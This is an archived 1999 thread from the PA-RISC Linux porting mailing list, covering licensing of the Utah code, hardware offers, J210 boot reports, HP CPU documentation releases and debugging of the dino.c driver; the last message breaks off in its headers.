From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] licencing-question... ?
Date: Sun, 18 Jul 1999 20:17:18 +0100 (BST)
Lines: 19
Approved: news@gmane.org
Message-ID: <E115wR5-0006lC-00@the-village.bc.nu>
References: <19990709195207.S386@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619706 13022 80.91.229.3 (22 Nov 2014 01:28:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:26 +0000 (UTC)
Cc: pschwan@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Jul 18 13:18:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA25348
	for <parisc-linux@puffin.external.hp.com>; Sun, 18 Jul 1999 13:18:54 -0600
Original-Received: (qmail 10751 invoked by uid 15267); 18 Jul 1999 19:19:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10740 invoked from network); 18 Jul 1999 19:19:41 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 18 Jul 1999 19:19:41 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 115wR5-0006lC-00; Sun, 18 Jul 1999 20:17:19 +0100
In-Reply-To: <19990709195207.S386@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jul 9, 99 07:52:07 pm
Xref: news.gmane.org gmane.linux.ports.parisc:9748

>   The above copyright notice and this permission notice shall be
>   included in all copies or substantial portions of the Software.
> 
> The sticking point could be the copyright & permissions having to

The copyright in code isnt a problem, in supporting docs can be an issue.

> documentation if, say, Red Hat sold Red Hat 8.0 for the PA-RISC? 
> Would the user documentation have to include the copyright notice?

What is documentation. Is the web site documentation etc etc.. 

The easiest thing is to get the Utah folks to add "Nothing in this 
license that is shown to be a restriction within the meaning of the GNU
public license shall hold when the code is distributed under the terms
of the GNU public license" or similar.




From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 715/33 experience and one question
Date: Mon, 19 Jul 1999 09:36:51 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C28032795C4@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619706 13023 80.91.229.3 (22 Nov 2014 01:28:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: mike@fast.cs.utah.edu, Matthew.Wilcox@genedata.com,
        Ulrich.Strelow@Schering.DE
Original-X-From: Arnaud.ATOCH@oecd.org  Mon Jul 19 01:36:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA25811
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Jul 1999 01:36:37 -0600
Original-Received: (qmail 10112 invoked by uid 15267); 19 Jul 1999 07:37:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10105 invoked from network); 19 Jul 1999 07:37:30 -0000
Original-Received: from cs1-hq.oecd.org (193.51.65.66)
  by mailserv2.iuinc.com with SMTP; 19 Jul 1999 07:37:30 -0000
Original-Received: from eosgty.oecd.org (eosgty.oecd.org [10.102.11.103])
	by cs1-hq.oecd.org (8.8.8/8.8.8/oecd-1.5) with ESMTP id JAA16207;
	Mon, 19 Jul 1999 09:37:53 +0200 (METDST)
Original-Received: by eosgty.oecd.org with Internet Mail Service (5.5.2448.0)
	id <NXLRZ9W4>; Mon, 19 Jul 1999 09:36:57 +0200
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:9749

Hi,

I do have some 712/715/720/730/735 . If you need some informtions or your
kernel to be tested on these machines, please let know if I can help. Btw
I'm far from a kernel developper.

Arnaud Atoch
O.E.C.D.
2 Rue Andre PAscal
75775 Paris Cedex 16
France

-----Original Message-----
From: Mike Hibler [mailto:mike@fast.cs.utah.edu]
Sent: Friday, July 16, 1999 17:53
To: Matthew.Wilcox@genedata.com; Ulrich.Strelow@Schering.DE
Cc: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] 715/33 experience and one question


> Date: Fri, 16 Jul 1999 14:14:13 +0200
> From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> To: Ulrich.Strelow@schering.de
> Subject: Re: [parisc-linux] 715/33 experience and one question
> 
> On Fri, Jul 16, 1999 at 01:54:18PM +0200, Ulrich.Strelow@schering.de
wrote:
> [successful boot report snipped]
> > And then my question:
> > I think the 715/33 does  not  have a Dino or a Lasi chip (am I right?),
but
> >  does it have a gecko (and what is this?)?
> 
> Right, the 715 has neither DINO nor LASI.  The chips inside are labelled
> OLIN and SHINKO.  http://www.thepuffingroup.com/parisc/hp9000_models.html
> has no details on these chips.  Alex tells me he's trying to get
> documentation on these chips, but I'll have to be patient.  The major
> stumbling block with these machines is likely to be the SCSI controller
> -- it's an NCR53C700 which is apparently a very nasty device; much more
> nasty than the 710 which is built into LASI.
> 
> In my copious spare time, I'm stumbling through the Utah Mach sources,
> trying to glean details about OLIN and SHINKO but I've had no success
> so far.
> 

We never had a 715/33 so I don't know anything about them.  But someone
else said they had the ASP which is the "original snakes" IO subsystem
(705/710/720/730/750).  The ASP is quite similar to the LASI, and there
is plenty of code in the Mach sources.

Hit your HP sources up for:

	Corba/Coral I/O Subsystem External Reference Specification

Don't have a part or drawing number unfortunately.  We have version 1.43
from November 1990.  Looks like it came out of Cupertino.

As for the SCSI controller, the 700 isn't that different from the 710.
Had a few bugs though as I recall and our driver/script did not work
around all of them.

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: smoret-puffin@genocide.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 J210
Date: Mon, 19 Jul 1999 12:36:23 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <19990719193639.31498.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619707 13035 80.91.229.3 (22 Nov 2014 01:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: smoret@typhon.genocide.net  Mon Jul 19 13:35:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA28825
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Jul 1999 13:35:46 -0600
Original-Received: (qmail 31499 invoked by uid 15267); 19 Jul 1999 19:36:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31492 invoked from network); 19 Jul 1999 19:36:39 -0000
Original-Received: from cx531961-c.msnv1.occa.home.com (HELO typhon.genocide.net) (qmailr@24.5.39.130)
  by mailserv2.iuinc.com with SMTP; 19 Jul 1999 19:36:39 -0000
Original-Received: (qmail 19626 invoked from network); 19 Jul 1999 19:36:23 -0000
Original-Received: from localhost (HELO typhon.genocide.net) (smoret@127.0.0.1)
  by localhost with SMTP; 19 Jul 1999 19:36:23 -0000
Original-Sender: smoret@typhon.genocide.net
Xref: news.gmane.org gmane.linux.ports.parisc:9750

I've got a HP9000 J210 sitting next to me that I'd like to offer help with.
I'm able to get precompiled kernels to begin to boot (they give the 
secret message), but I am unable to get the .lif generator to compile so I 
can compile my own kernels.

If someone could offer me some assistance I would appreciate it. Although
I'm unaware of what type of equipment (SCSI controller, ethernet) is in
my J210 if someone knows what I should open up to find out I'd help there
too. 

So far what I know about the J210: PA-RISC 7200 120MHz CPU, 512meg ram
no framebuffer, 10bT + AUI ethernet, and it uses bootp (rather than rbootd)
to boot.

I'd love to help out,

-- 
Steve Moret
smoret@uci.edu


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 J210
Date: Tue, 20 Jul 1999 01:13:54 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <99072001163500.00271@P100>
References: <19990719193639.31498.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619707 13041 80.91.229.3 (22 Nov 2014 01:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, smoret-puffin@genocide.net
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Mon Jul 19 17:15:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA29305
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Jul 1999 17:15:26 -0600
Original-Received: (qmail 12548 invoked by uid 15267); 19 Jul 1999 23:16:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12537 invoked from network); 19 Jul 1999 23:16:16 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 19 Jul 1999 23:16:16 -0000
Original-Received: (qmail 28330 invoked from network); 19 Jul 1999 23:16:00 -0000
Original-Received: from dialppp-7-50.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.7.50)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 19 Jul 1999 23:16:00 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9751

Hi Steve !

Am Mon, 19 Jul 1999 schrieb smoret-puffin@genocide.net:
> I've got a HP9000 J210 sitting next to me that I'd like to offer help with.
> I'm able to get precompiled kernels to begin to boot (they give the 
> secret message), but I am unable to get the .lif generator to compile so I 
> can compile my own kernels.

Whats the problem with it ??
You know, that you have to compile the kernel and the LIF currently on hpux
only ??
The cross-compiler doesnt work yet !

> 
> If someone could offer me some assistance I would appreciate it. Although
> I'm unaware of what type of equipment (SCSI controller, ethernet) is in
> my J210 if someone knows what I should open up to find out I'd help there
> too. 
> 
> So far what I know about the J210: PA-RISC 7200 120MHz CPU, 512meg ram
> no framebuffer, 10bT + AUI ethernet, and it uses bootp (rather than rbootd)
> to boot.

Does the current kernel shows you the processor as "7200" ?
> 
> I'd love to help out,
> 
> -- 
> Steve Moret
> smoret@uci.edu

Helge Deller.


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 7100 and 7300 PA RISC 1.1 docs
Date: Tue, 20 Jul 1999 01:52:31 -0400
Organization: The Puffin Group
Lines: 19
Approved: news@gmane.org
Message-ID: <37940E9F.5CAD3D17@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619707 13044 80.91.229.3 (22 Nov 2014 01:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Mon Jul 19 23:39:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA29714
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Jul 1999 23:39:35 -0600
Original-Received: (qmail 1004 invoked by uid 15267); 20 Jul 1999 05:40:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 997 invoked from network); 20 Jul 1999 05:40:30 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 20 Jul 1999 05:40:30 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id BAA14919
	for <parisc-linux@thepuffingroup.com>; Tue, 20 Jul 1999 01:52:35 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9752


With the guidance of The Puffin Group, Hewlett Packard has released
documentation on the PCXL and PCXL2 PA RISC 1.1 CPUs.  These documents
can be found at the PA RISC Linux documentation page, at:

http://www.thepuffingroup.com/parisc/documentation.html

The documents seem to have all we need for MMU implementations.

I know on one of the PDF files the pages are in reverse, yes, we're
working on that.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP9000 J210
Date: Tue, 20 Jul 1999 10:28:10 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <99072010411201.01142@P100>
References: <000401bed268$88e519a0$459f0118@genocide.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619708 13045 80.91.229.3 (22 Nov 2014 01:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: <smoret@uci.edu>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Tue Jul 20 02:39:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA30127
	for <parisc-linux@puffin.external.hp.com>; Tue, 20 Jul 1999 02:39:55 -0600
Original-Received: (qmail 21789 invoked by uid 15267); 20 Jul 1999 08:40:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21782 invoked from network); 20 Jul 1999 08:40:51 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 20 Jul 1999 08:40:51 -0000
Original-Received: (qmail 23205 invoked from network); 20 Jul 1999 08:40:36 -0000
Original-Received: from dialppp-5-2.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.5.2)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 20 Jul 1999 08:40:36 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9753

Am Tue, 20 Jul 1999 schrieben Sie:
> > Whats the problem with it ??
> > You know, that you have to compile the kernel and the LIF
> > currently on hpux
> > only ??
> > The cross-compiler doesnt work yet !
> That would explain why it wont work. Is there anything I can do to get
> recent kernels? I have a plethora of non-HP machines at my disposal and
> could (if they would work) easily do cross-compiles in minutes. 

Yes, thats the problem I have too. Currently I have to start und shutdown my
HP-box every time I built a new kernel. Cross-compiling could speed up the
programming-phase drastically. Is anybody currently working on that issue ?
The bootloader already has some code to load ELF-images too.

> I would also
> be willing to host a distribution site for kernel images (if this would
> help).
> 
> I don't currently have a HP-UX license and would rather not install it.
> Although I do have 10.?? media.
> 
> > Does the current kernel shows you the processor as "7200" ?
> No the current kernel says:
> cpu family      : PA RISC 1.1
> revision        : 4
> model           : 9000/770/J210
> model name      : SkyHawk 120
> hversion        : 0x00005860
> sversion        : 0x00000491
> sw_id           : 2004779464
> shadow registers: no
> cpu category    : category A
> cpu level       : level_0
> cpu MHz         : 120.00000000
> I-cache         : 256 KB
> D-cache         : 256 KB (WB)
> ITLB entries    : 120
> DLTB entries    : 120 (shared with ITLB)

This is an older kernel-image. The newest one has a line showing "cpu : PAyxxx"
and info about the BTLB. I think the message "level 0" is wrong here too, but
that should already be fixed in the cvs.

> I hope all this info helps, I'd be happy to give more if you can direct me,

Could you please try a newer image later...

> --
> Steve Moret
> smoret@uci.edu

Helge.


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OSF-clean source-code..
Date: Wed, 21 Jul 1999 12:36:02 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <99072112434900.05889@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619708 13049 80.91.229.3 (22 Nov 2014 01:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Wed Jul 21 04:42:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA02892
	for <parisc-linux@puffin.external.hp.com>; Wed, 21 Jul 1999 04:42:28 -0600
Original-Received: (qmail 16947 invoked by uid 15267); 21 Jul 1999 10:43:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16936 invoked from network); 21 Jul 1999 10:43:26 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 21 Jul 1999 10:43:26 -0000
Original-Received: (qmail 17288 invoked from network); 21 Jul 1999 10:43:11 -0000
Original-Received: from dialppp-1-191.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.1.191)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 21 Jul 1999 10:43:11 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9754

Hello List !

I committed some changes in varios files, so that we now are not very far from
OSF-clean code in the tree...

My intention is, to remove pdc.h completely in short time, and rewrite
all used #defines and structures (GPLd) in pdc-linux.h (thanks to Paul Lahaie).
When the transition is done, pdc.h will be removed, and pdc-linux will replace
pdc.h completely.

Please continue to #inlclude pdc.h in the sources only. This way the transition
could work clean to the tree...

Helge Deller.


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] pjlahaie, interrupted with code 28....
Date: Wed, 21 Jul 1999 13:01:59 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <99072113074701.05889@P100>
References: <199907210257.UAA00743@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619708 13054 80.91.229.3 (22 Nov 2014 01:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, Philipp Rumpf <prumpf@suse.de>
To: "Paul J.Y.Lahaie" <pjlahaie@ottawa.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Wed Jul 21 05:15:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA03357
	for <parisc-linux@puffin.external.hp.com>; Wed, 21 Jul 1999 05:15:11 -0600
Original-Received: (qmail 20642 invoked by uid 15267); 21 Jul 1999 11:16:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20635 invoked from network); 21 Jul 1999 11:16:08 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 21 Jul 1999 11:16:08 -0000
Original-Received: (qmail 6465 invoked from network); 21 Jul 1999 11:07:08 -0000
Original-Received: from dialppp-5-146.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.5.146)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 21 Jul 1999 11:07:08 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9755

Am Wed, 21 Jul 1999 schrieb Paul Lahaie:
> Update of /home/cvs/parisc/linux/drivers/gecko
> In directory puffin.external.hp.com:/tmp/cvs-serv735
> 
> Modified Files:
> 	dino.c 
> Log Message:
> Fix dino probing code so that systems without Dinos do not crash while trying
> to read the configuration registers.

Hi Paul !

Those changes seem to initialize the interrupt-routine, so that I get the whole
time  "Interrupted with code 28, regs xxxxx"...... (I dont have a dino in my
hp-machine!)

Could you/someone maybe take a look into it ?
It does not happen, when you dont include DINO-support into the kernel.
Please correct me, if Im totally wrong here.....

PS: This also happened here with my machine, before I applied/committed my
latest changes...

Helge.


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] pjlahaie, interrupted with code 28....
Date: Wed, 21 Jul 1999 13:30:51 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <99072113442100.07620@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619709 13057 80.91.229.3 (22 Nov 2014 01:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paul J.Y.Lahaie" <pjlahaie@ottawa.com>, Philipp Rumpf <prumpf@suse.de>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Wed Jul 21 06:15:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA03646
	for <parisc-linux@puffin.external.hp.com>; Wed, 21 Jul 1999 06:15:24 -0600
Original-Received: (qmail 29508 invoked by uid 15267); 21 Jul 1999 12:16:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29500 invoked from network); 21 Jul 1999 12:16:21 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 21 Jul 1999 12:16:21 -0000
Original-Received: (qmail 3014 invoked from network); 21 Jul 1999 11:43:42 -0000
Original-Received: from dialppp-7-208.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.7.208)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 21 Jul 1999 11:43:42 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9756

Hi Paul, 
Hi Philipp !

Sorry for my last mail, but I found some more background-info for my
last mail:

I think its something wrong in the interrupt-routine (but Im really not sure
about that !!), since when I dont use DINO/PCI-support the kernel freezes too.
Info:
I added a stopkernel_with_rolling_leds()-call (endless-loop in setup.c)
directly behind the "POSIX"-text in main.c. This means, that the kernel should
loop forever in this routine. But the kernel freezes after some time,
at other boot-ups I get endless messages "Interrupted with code 9" after some time 
behind the output of "POSIX...". Could it be, that the stack
overflows after some time (maybe because of interrupts in the background, which
does not restore the stack correctly (Philipp??)) ?

Maybe also my kernel-origin-change in the Makefile to 0x10000 (we used
0x12000 before) could be the reason ? I dont know yet...

Comments ?

Helge.


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] syntax error in dino.c (215)
Date: Thu, 22 Jul 1999 11:48:28 +0300 (EETDST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9907221145200.6553-100000@gamgee.ntc.nokia.com>
References: <C12531D038D1D011B1DB0000F8036C28032795C4@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619709 13059 80.91.229.3 (22 Nov 2014 01:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martikka@stybba.ntc.nokia.com  Thu Jul 22 02:47:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA06692
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jul 1999 02:47:49 -0600
Original-Received: (qmail 1847 invoked by uid 15267); 22 Jul 1999 08:48:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1840 invoked from network); 22 Jul 1999 08:48:45 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 22 Jul 1999 08:48:45 -0000
Original-Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x2.nokia.com (8.9.3/8.9.3) with ESMTP id LAA24773
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jul 1999 11:48:29 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id LAA24050
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jul 1999 11:48:29 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id LAA16682
	for <parisc-linux@thepuffingroup.com>; Thu, 22 Jul 1999 11:48:28 +0300 (EET DST)
In-Reply-To: <C12531D038D1D011B1DB0000F8036C28032795C4@eosm5.oecd.org>
Xref: news.gmane.org gmane.linux.ports.parisc:9757

Hi!

Could someone fix this in dino.c (line 215):

                printk("KERN_WARNING "dino: can't allocate IRQ\n");
-> 
                printk(KERN_WARNING "dino: can't allocate IRQ\n");
Thanks...

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:15:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "mgalgoci@redhat.com" <mgalgoci@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Wheeee. 712/60 looking good
Date: Sat, 24 Jul 1999 01:46:20 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9907240140010.18626-100000@supserv.support.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619709 13060 80.91.229.3 (22 Nov 2014 01:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mgalgoci@redhat.com  Fri Jul 23 23:45:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA11620
